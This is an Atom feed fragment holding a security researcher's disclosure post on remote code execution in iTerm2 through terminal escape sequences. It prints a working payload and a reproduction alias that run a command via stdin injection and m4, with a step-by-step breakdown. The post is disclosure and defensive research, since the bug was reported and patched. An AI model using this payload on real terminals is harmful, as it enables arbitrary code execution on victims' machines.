<p>Thanks again to MSRC for handling my report with an open mind.</p>]]></content><author><name></name></author><category term="terminal" /><category term="rce" /><category term="vscode" /><category term="vulnerability" /><category term="exploit" /><summary type="html"><![CDATA[It takes a special kind of person to name a company after their own body part. Fortunately the Microsoft Security Response Center doesn’t seem to have inherited that kind of mentality, because when I have reported not a bug but a feature as a vulnerability - they accepted it.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blog.solidsnail.com/assets/img/vscode-shell-integ.png" /><media:content medium="image" url="https://blog.solidsnail.com/assets/img/vscode-shell-integ.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">From Terminal Output to Arbitrary Remote Code Execution</title><link href="https://blog.solidsnail.com/posts/2023-08-28-iterm2-rce" rel="alternate" type="text/html" title="From Terminal Output to Arbitrary Remote Code Execution" /><published>2023-08-28T22:50:01+00:00</published><updated>2023-08-28T22:50:01+00:00</updated><id>https://blog.solidsnail.com/posts/2023-08-28-iterm2-rce</id><content type="html" xml:base="https://blog.solidsnail.com/posts/2023-08-28-iterm2-rce"><![CDATA[<p>It was the year of the Linux desktop 1978.
Old yellowed computers were not yet old, nor yellowed.
Digital Equipment Corporation released the first popular terminal to support 
a standardized in-band encoding for control functions, the VT100.</p>

<p>Little did they know, that almost half a century later,
it will still be the defacto standard for all terminal emulators,
essential to the workflow of anyone who programs professionally in any capacity.</p>

<p>Very cool <a href="https://github.com/solid-snail">@solid-snail</a>,
but what does that have to do with Remote Code Execution?</p>

<p>Well, recall me saying in-band encoding?
It means that when a program wants to relay a message to the terminal
it embeds it in the output,
and perhaps more importantly,
when the terminal wants to relay a message to the program
it embeds it in the input.
Yes, the user input.</p>

<blockquote>
  <p><strong>update:</strong> there are now two CVEs for the vulnerabilities.
<a href="https://nvd.nist.gov/vuln/detail/CVE-2023-46300">CVE-2023-46300</a>
and <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-46301">CVE-2023-46301</a>.</p>
</blockquote>

<h2 id="whats-the-plan">What’s the Plan?</h2>

<p>Attack plan is simple.<br />
A program prints non-sanitized, non-trusted content.<br />
The content will contain our exploit.<br />
The exploit will elicit a response that contains a shell command, and a linefeed.<br />
The program, that was not expecting any further input,
will leave it waiting in stdin.<br />
After it finished executing, the shell will kick back in,
at which point our command will be read and executed.</p>

<p>Now, you might be wondering…
Is it really that simple? How come it isn’t abused routinely?
Why would that be supported <em>at all</em> by <em>any</em> terminal?
Did no one see it coming?
Do I really not have anything better to do with my time?
I will address almost all of these.</p>

<p>I also plan release a proper repo,
with the full source code,
and perhaps some demos.
It will be linked here when available.</p>

<h2 id="vulnerability">Vulnerability</h2>

<p><a href="https://github.com/gnachman">@gnachman</a>,
who was probably fed up with being <a href="https://www.theverge.com/22967776/apple-magic-mouse-charging-port-bottom-upside-down-its-2022">bottom charged</a> by Apple,
created a terminal emulator named iTerm2.
iTerm2 implements many features
beyond the standard experience of a terminal emulator.
Some are implemented using non-standard escape sequences.
This is an escape sequence: <code class="language-plaintext highlighter-rouge">\x1b[32m</code>.
It changes the color of text.
You can try it out with the <code class="language-plaintext highlighter-rouge">printf</code> command, <code class="language-plaintext highlighter-rouge">printf '\x1b[32mtext'</code></p>

<p>Two of such features, are of interest to us.</p>

<ul>
  <li>Tmux integration</li>
  <li>Request upload</li>
</ul>

<p>I won’t get into the details of what those features do,
because it doesn’t matter to us.
It is a specific implementation detail that we’re after.
They both inject a linefeed to stdin.</p>

<p>We got the terminal to press enter in the name of the user,
now what?</p>

<h2 id="exploit">Exploit</h2>

<p>Two exploits I came up with!
One requires the attacker to deliver an executable to the victim’s machine,
and works with bash but not zsh.
The other, which I’m more proud of,
requires only for the command’s output to be somewhat repeatable,
and works with zsh but not bash.</p>

<p>Terminal developers aren’t so excited
about the idea of us running surprise commands for their users,
as it turns out,
and left very little for us to work with.
We are limited in what we can inject to stdin.</p>

<p>I could say I managed to run <code class="language-plaintext highlighter-rouge">ln</code> with no arguments
and call it a day,
but that would be boring!</p>

<p>We can’t place the command we want to run directly in stdin.
That means we need to find another place for it.<br />
A file? Could we run it?<br />
If we could specify it as an argument of a command
we wouldn’t be dealing with a file right now.
We also can’t specify just a file’s name as the command.
The shell will interpret it as a name of a command
and not a path to an executable.</p>

<p>The solution is obvious. Ask the terminal to report a color!</p>

<p>The response to a query about a color value will contain slashes,
which will cause the shell to interpret it as a path,
not a command.</p>

<p>Lets try.
When we <code class="language-plaintext highlighter-rouge">printf '\x1b]4;0;#000\007\x1b]4;0;?\007'</code>,
we can see that our shell’s command line now contains
<code class="language-plaintext highlighter-rouge">4;0;rgb:0000/0000/0000</code>.
If executed, it will attempt to run a file at <code class="language-plaintext highlighter-rouge">rgb:0000/0000/0000</code>.</p>

<p>But to be honest, files… files are annoying.<br />
How am <em>I</em> going to deliver one all the way to <em>your</em> machine?!<br />
We need yet another place for the code.</p>

<p>I’ll stop teasing, the place is the output itself, and this is the exploit:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>syscmd(open -a Calculator) \x1b[5n \x1bP$q$|\x1b\\ \x1b[#| \x1b[14H \x1b[6n \x1bP1000p%session-changed $9 s\n
</code></pre></div></div>

<p>To reproduce (tested it on iTerm2 3.5.0beta10):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>alias newcmd='echo -e '\''syscmd(open -a Calculator) \x1b[5n \x1bP$q$|\x1b\\ \x1b[#| \x1b[14H \x1b[6n \x1bP1000p%session-changed $9 s\n'\'
newcmd arg
</code></pre></div></div>

<p>Lets break down this mess.</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">syscmd(open -a Calculator)</code> -
as of now, does absolutely nothing, besides being printed out.</li>
  <li><code class="language-plaintext highlighter-rouge">\x1b[5n</code> -
Device Status Report (DSR) -
pushes <code class="language-plaintext highlighter-rouge">\x1b[0n</code> to stdin.
Results in <code class="language-plaintext highlighter-rouge">n</code> in the command line.</li>
  <li><code class="language-plaintext highlighter-rouge">\x1bP$q$|\x1b\\</code> - Request Status String (DECRQSS) -
pushes <code class="language-plaintext highlighter-rouge">\x1bP1$r{alpha-numeric stuff}$|\x1b\\</code> to stdin.</li>
  <li><code class="language-plaintext highlighter-rouge">\x1b[#|</code> - Report selected graphic rendition (XTREPORTSGR) -
pushes <code class="language-plaintext highlighter-rouge">\x1b[{0 or nothing by default}m</code> to stdin.
Results in <code class="language-plaintext highlighter-rouge">m</code> being added to the command line.</li>
  <li><code class="language-plaintext highlighter-rouge">\x1b[14H</code> - Cursor Position (CUP) -
moves the cursor to row 14 (of the terminal, not the shell).</li>
  <li><code class="language-plaintext highlighter-rouge">\x1b[6n</code> - Device Status Report (DSR) -
pushes <code class="language-plaintext highlighter-rouge">\x1b[14;{cursor column}R</code>.
Results in <code class="language-plaintext highlighter-rouge">4;{cursor column}R</code> being added to the command line.</li>
  <li><code class="language-plaintext highlighter-rouge">\x1bP1000p</code> - Tmux integration -
indicates that tmux has started in control mode.</li>
  <li><code class="language-plaintext highlighter-rouge">%session-changed $9 s\n</code> - imitates output of tmux in control mode.
Needed for more consistent and predictable results.</li>
</ul>

<p>I know that by now it might seem obvious to most of you,
but no one likes being the one that raises their hand,
so I’ll explain it further.</p>

<p><code class="language-plaintext highlighter-rouge">syscmd(open -a Calculator)</code>  is our <a href="https://en.wikipedia.org/wiki/Chekhov%27s_gun">Chechov’s gun</a>.</p>

<p>Now, to understand why not all characters pushed to stdin
end up in the shell’s command line,
you have to understand another use for escape sequences -
special keys and key combos.
There’s no character code for <code class="language-plaintext highlighter-rouge">PgUp</code>.
There’s no ASCII code for <code class="language-plaintext highlighter-rouge">Shift+F1</code>.
When you headbutt the keyboard
after trying to figure out why Ubuntu is hell-bent
on removing its own desktop environment on the next full-upgrade,
those are expressed by the terminal as escape sequences.
That is why most of the sequences pushed to stdin in this exploit
are partially swallowed by the shell -
they can also represent (sometimes invalid) key presses.</p>

<p><code class="language-plaintext highlighter-rouge">\x1b[5n</code>. Why do we want <code class="language-plaintext highlighter-rouge">n</code> in the command line?
Put a pin in that,
but it has to do with the fact that we knew the exploited command starts with an <code class="language-plaintext highlighter-rouge">n</code>
(our alias <code class="language-plaintext highlighter-rouge">newcmd</code> in this case).</p>

<p>The response to <code class="language-plaintext highlighter-rouge">\x1bP$q$|\x1b\\</code> is <code class="language-plaintext highlighter-rouge">\x1bP1$r{alpha-numeric stuff}$|\x1b\\</code>.
This time we want to pay attention to how the shell interprets the sequence.
<code class="language-plaintext highlighter-rouge">\x1bP</code> is equivalent to <code class="language-plaintext highlighter-rouge">alt+P</code>.
You can actually test that easily.
Open a terminal, press the <code class="language-plaintext highlighter-rouge">Esc</code> key, release it, then press <code class="language-plaintext highlighter-rouge">P</code>.
In zsh it will lookup a command from the command history
based on the first word in the current command line,
if there is one,
and load it.
In our case it will be <code class="language-plaintext highlighter-rouge">newcmd arg</code>.
The rest of the response is appended to it,
so: <code class="language-plaintext highlighter-rouge">newcmd arg1$r{alpha-numeric stuff}$|</code>.</p>

<p><code class="language-plaintext highlighter-rouge">\x1b[#|</code> will add <code class="language-plaintext highlighter-rouge">m</code> to our command line:
<code class="language-plaintext highlighter-rouge">newcmd arg1$r{alpha-numeric stuff}$|m</code>.</p>

<p><code class="language-plaintext highlighter-rouge">\x1b[14H</code> sets the terminal’s cursor to line 14.
<code class="language-plaintext highlighter-rouge">\x1b[6n</code> is a request for cursor coordinates.
The line position will be 14 as we set it,
and the response will be:
<code class="language-plaintext highlighter-rouge">\x1b[14;{cursor column}R</code>.
<code class="language-plaintext highlighter-rouge">\x1b[1</code> is swallowed by the shell,
so our current command line is now:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>newcmd arg1$r{alpha-numeric stuff}$|m4;{cursor column}R
</code></pre></div></div>

<p>Before we blow our final punches,
lets take moment to appreciate what’s going on.
<code class="language-plaintext highlighter-rouge">$r{alpha-numeric stuff}$</code> will be discarded by the shell
as an undefined environment variable and a <code class="language-plaintext highlighter-rouge">$</code> without any variable specified.
Anything after the <code class="language-plaintext highlighter-rouge">;</code> is irrelevant to us.
Our current <em>effective</em> command is <code class="language-plaintext highlighter-rouge">newcmd arg1|m4</code>.</p>

<p><code class="language-plaintext highlighter-rouge">m4</code> is a command built-in to macOS, for some reason.
In case you’re not familiar with it, it is a macro engine.
It is basically a c/c++ compiler without the compiler.</p>

<p>This is where our Chechov’s gun makes its appearance again.
<code class="language-plaintext highlighter-rouge">m4</code> has a built-in macro for running commands in the system’s shell.
By piping the output to <code class="language-plaintext highlighter-rouge">m4</code> we’re able to utilize it.</p>

<p>Finally, <code class="language-plaintext highlighter-rouge">\x1bP1000p%session-changed $9 s\n</code> runs the command for us
by pushing a linefeed to stdin.
Not only that, it pushes multiple linefeeds,
each preceded by a tmux command.</p>

<p>Having said that, I can finally return to our pinned question.
We needed the command line
to start with the same letter as the exploited command,
because at times the exploit would fail
due to the shell processing some of the tmux commands
before traversing back in the command history.
I didn’t investigate the cause of that,
but I could easily mitigate it
by filtering the command history in this manner.</p>

<h2 id="thoughts">Thoughts</h2>

<p>As it turns out, I wasn’t the first to come up with this concept.
Security concerns regarding this matter have existed for decades now.
In fact, CVEs regarding this matter have been coming up for as late as <a href="https://nvd.nist.gov/vuln/detail/CVE-2021-33477">2021</a>
by major terminal emulators.</p>

<p>However, as far as I can tell,
my method of exploitation is novel,
as it didn’t rely on the ability to push arbitrary commands to stdin,
or deliver additional resources to the victim, such as files.
It is self contained.</p>

<p>You might think to yourself,
<em>“Easy! Just don’t inject linefeeds and arbitrary data to stdin,
and you should be good.”</em>.
You would have a point, and most terminals do exactly that,
but you won’t be addressing the root cause.
This solutions assumes the use of a POSIX shell.
What if it’s exploited in the context of a program such as Vim?
It’s easy to see how real damage can be done without the use of a linefeed.</p>

<p>The reason vulnerabilities of this kind keep appearing
is that there is a fundamental problem in the way terminals work.
Embedding commands in that manner is as egregious
as using string concatenation to create sql queries.
We didn’t even touch on the fact that, given the opportunity,
an attacker can use escape sequences
to arbitrarily change the entire display of the terminal.</p>

<p>The standards that define those mechanisms originate in the 70s, <em>the 70s!</em>
The modern environment in which terminal emulators are used today
could not have been predicted at the time.</p>

<p>Its legacy status means that virtually any tool you use from the terminal
already supports it.</p>

<p>Moreover, those vulnerabilities are logical
and inherent to the standard itself.
They can’t be patched in-place in the same manner you would a buffer overflow,
without breaking compatibility.</p>

<p>So what are we to do?</p>

<h3 id="solutions">Solutions</h3>

<p>One solution would be to have all tools used in the terminal sanitize non-trusted data.
Good luck with that.</p>

<p>To fix the fundamental problem,
you would probably need to break compatibility, which would suck.
Suddenly you do not have colored text,
you do not have progress bars,
you do not have fancy interfaces,
you do not pass go,
do not collect $200.
Developers will need to explicitly support that new alternative.</p>

<p>But even if we could assure good adoption rate,
the biggest hurdle, ironically,
will probably be restriction of feature support.
Restrictions made by the terminal meant that:</p>
<ul>
  <li>Interfaces had to primarily be text based, and minimal.</li>
  <li>Keyboard as first class citizen.</li>
  <li>Supporting scriptability was incentivised.
As a result, it is easy to convert day to day workflows to automation.</li>
  <li>Easy cross compatibility when it comes to user interface.</li>
  <li>Easy to support.
If your program supports stdin and stdout, it can support the terminal.
Regardless of hardware, OS, programming language, or framework.</li>
  <li><strong>Stability!</strong> You don’t have to worry about future support as much.
When support is a moving target you find yourself in a situation
like folding displays.
Of course this is a double edged sword, like we’re seeing in this article.</li>
</ul>

<p>When looking at the current landscape of software development,
I find it difficult to have the confidence
that developers possess the restraint required to uphold those standards.
Even when looking at tools aimed at <em>highly technical people</em>!
Lets take a look at IDA Pro and Radare2 as an example.
Even though IDA Pro has many other redeeming qualities,
It clearly misses the mark at some of these points.
For example, in Radare2 your interactions with the program
can be converted, almost directly, into scripts.
Not the case in IDA Pro.</p>

<p>In fact,
the only example of a gui application that would fit those requirements,
is emacs.
For those interested, an <a href="https://catern.com/posts/terminal_quirks.html">article by Spencer Baugh</a>
about terminal emulators,
that also explores the idea of emacs as a replacement for the terminal.
But even a platform as capable as emacs needed to feature a terminal emulator.
It will not solve the Problem of backwards compatibility.</p>

<h2 id="support-open-source">Support Open Source</h2>

<p><a href="https://github.com/gnachman">@gnachman</a> has handled my report professionally,
and reacted swiftly with a patch.
So despite afflicting Objective-C onto my eyes during this research,
I’d encourage anyone who finds his software useful to express support via a donation:<br />
<a href="https://iterm2.com/donate.html">https://iterm2.com/donate.html</a></p>

<p><em>insert self shilling</em><br />
I myself have more blog posts down the pipeline
on already done research.
I’m also conducting more research,
focusing on open source tools used by tech professionals,
but not exclusively.
I believe it’s crucial to secure our toolchains,
at a time when supply chain attacks are so painful,
especially for projects that rely on community support
and are often overlooked.</p>

<p>And uhm… if you find my research useful,
I too hav- I mean… I also accept- uuuh…</p>

<iframe src="https://github.com/sponsors/solid-snail/card" title="Sponsor solid-snail" max-height="225" width="600" style="border: 0;"></iframe>

<p>
    <script src="https://liberapay.com/solid-snail/widgets/button.js"></script>
    <noscript><a href="https://liberapay.com/solid-snail/donate"><img alt="Donate using Liberapay" src="https://liberapay.com/assets/widgets/donate.svg" /></a></noscript>
</p>

<p>
    <a href="https://www.patreon.com/solid_snail" target="_blank">
        <img src="/assets/img/patreon-wordmark-black.svg" style="max-height: 1em; padding: 1em 2em; background-color: white;" />
    </a>
</p>]]></content><author><name></name></author><category term="terminal" /><category term="rce" /><category term="iterm2" /><summary type="html"><![CDATA[It was the year of the Linux desktop 1978. Old yellowed computers were not yet old, nor yellowed. Digital Equipment Corporation released the first popular terminal to support a standardized in-band encoding for control functions, the VT100.]]></summary></entry></feed>